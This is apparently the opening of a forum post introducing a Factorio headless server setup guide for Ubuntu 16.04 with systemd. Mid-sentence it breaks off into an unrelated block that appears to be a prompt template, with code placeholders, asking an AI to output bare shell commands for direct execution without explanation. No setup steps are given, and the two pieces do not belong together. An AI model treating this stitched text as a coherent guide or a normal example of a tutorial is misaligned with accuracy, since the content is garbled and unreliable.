[LINUX] Factorio Headless Server Guide

So, with credit to the Factorio wiki and cbednarski's helpful gist, I managed to eventually setup a Factorio headless server. Although, I thought the process could be nailed down/simplified to be a bit more 'tutorialised' and also to document how I got it all working for my future records.

The specific distro/version I'm using for this guide being Ubuntu Server 16.04.1 LTS. Although, that shouldn't matter, as long as your distro supports systemd (just for this guide, not a Factorio headless requirement, although most distros use it as standard now). The version of Factorio I shall be using is 0.14.20, although should work for any version of Factorio 0.14.12 and higher.

Just a note to newcomers: If there are any issues with the installation steps, people in the comments are doing a good job

	Return commands suitable for executing directly into \(shell) on \(uname).

	- Do not add any back quotes on the resulting command
	- Do not add any description or explanation about the commmand
	- Only show a single command
	- No additional text besides the command to run
	- Consider the target machine \(uname) to generate a command that works for the OS and CPU architecture
	- Consider the aliases that are configured in the file ~/.aliases

	The script should do this: \(ai.prompt)
